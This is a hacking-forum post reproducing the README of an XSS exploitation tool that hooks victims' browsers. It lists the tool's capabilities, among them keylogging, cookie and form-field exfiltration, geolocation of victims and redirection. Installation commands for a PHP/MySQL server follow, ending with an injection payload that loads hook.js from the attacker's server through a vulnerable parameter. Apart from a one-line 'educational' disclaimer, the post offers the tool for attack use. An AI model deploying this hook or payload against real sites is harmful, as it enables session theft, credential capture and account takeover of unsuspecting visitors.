# XSS-Exploitation-Tool | An XSS Exploitation Tool

**URL:** <https://onehack.st/t/xss-exploitation-tool-an-xss-exploitation-tool/247017>\
**Category:** Tools & Scripts\
**Tags:** hacking, freebies\
**Created:** [June 12, 2023, 10:45pm UTC](https://onehack.st/t/xss-exploitation-tool-an-xss-exploitation-tool/247017 "2023-06-12T22:45:33Z")\
**Posts on this page:** 1\
**Page:** 1

<div class="post-metadata">

**Author:** ![TheStrength](https://onehack.st/user_avatar/onehack.st/thestrength/32/46753_2.png) [@TheStrength](https://onehack.st/u/TheStrength)\
**Post date:** [June 12, 2023, 10:45pm UTC](https://onehack.st/t/xss-exploitation-tool-an-xss-exploitation-tool/247017/1 "2023-06-12T22:45:33Z")

</div>

![image](https://onehack.st/uploads/default/original/3X/b/b/bb433296e7d60fc7444d04c7986c53d66031d929.jpeg)

# XSS Exploitation Tool

XSS Exploitation Tool is a penetration testing tool that focuses on the exploit of Cross-Site Scripting vulnerabilities.

> This tool is only for educational purpose, do not use it against real environment

# Features

- Technical Data about victim browser
- Geolocation of the victim
- Snapshot of the hooked/visited page
- Source code of the hooked/visited page
- Exfiltrate input field data
- Exfiltrate cookies
- Keylogging
- Display alert box
- Redirect user

# Installation

> Tested on Debian 11

You may need Apache, Mysql database and PHP with modules:

```auto
$ sudo apt-get install apache2 default-mysql-server php php-mysql php-curl php-dom
$ sudo rm /var/www/index.html

```

Install Git and pull the XSS-Exploitation-Tool source code:

```auto
$ sudo apt-get install git

$ cd /tmp
$ git clone https://github.com/Sharpforce/XSS-Exploitation-Tool.git
$ sudo mv XSS-Exploitation-Tool/* /var/www/html/

```

Install composer, then install the application dependencies:

```auto
$ sudo apt-get install composer
$ cd /var/www/html/
$ sudo chown -R $your_debian_user:$your_debian_user /var/www/
$ composer install
$ sudo chown -R www-data:$www-data /var/www/

```

## Init the database

```auto
$ sudo mysql

```

Creating a new user with specific rights:

```auto
MariaDB [(none)]> grant all on *.* to xet@localhost identified by 'xet';
Query OK, 0 rows affected (0.00 sec)

MariaDB [(none)]> flush privileges;
Query OK, 0 rows affected (0.00 sec)

MariaDB [(none)]> quit
Bye

```

Creating the database (will result in an empty page):

Visit the page [http://server-ip/reset\_database.php](http://server-ip/reset_database.php)

## Adapt the javascript hook file

The file hook.js is a hook. You need to replace the ip address in the first line with the XSS Exploitation Tool server ip address:

var address = “your server ip”;

# How it works

First, create a page (or exploit a Cross-Site Scripting vulnerability) to insert the Javascript hook file (see exploit.html at the root dir):

```auto
?vulnerable_param=<script src="http://your_server_ip/hook.js"/>

```

Then, when victims visit the hooked page, the XSS Exploitation Tool server should list the hooked browsers:

[![](https://github.com/Sharpforce/XSS-Exploitation-Tool/raw/master/images/readme/clients.png)](https://github.com/Sharpforce/XSS-Exploitation-Tool/blob/master/images/readme/clients.png)

# Screenshots

[![](https://github.com/Sharpforce/XSS-Exploitation-Tool/raw/master/images/readme/details_browser.png)](https://github.com/Sharpforce/XSS-Exploitation-Tool/blob/master/images/readme/details_browser.png)

[![](https://github.com/Sharpforce/XSS-Exploitation-Tool/raw/master/images/readme/global_map.png)](https://github.com/Sharpforce/XSS-Exploitation-Tool/blob/master/images/readme/global_map.png)

## GitHub:

> **[GitHub - Sharpforce/XSS-Exploitation-Tool: An XSS Exploitation Tool](https://github.com/Sharpforce/XSS-Exploitation-Tool)**
>
> An XSS Exploitation Tool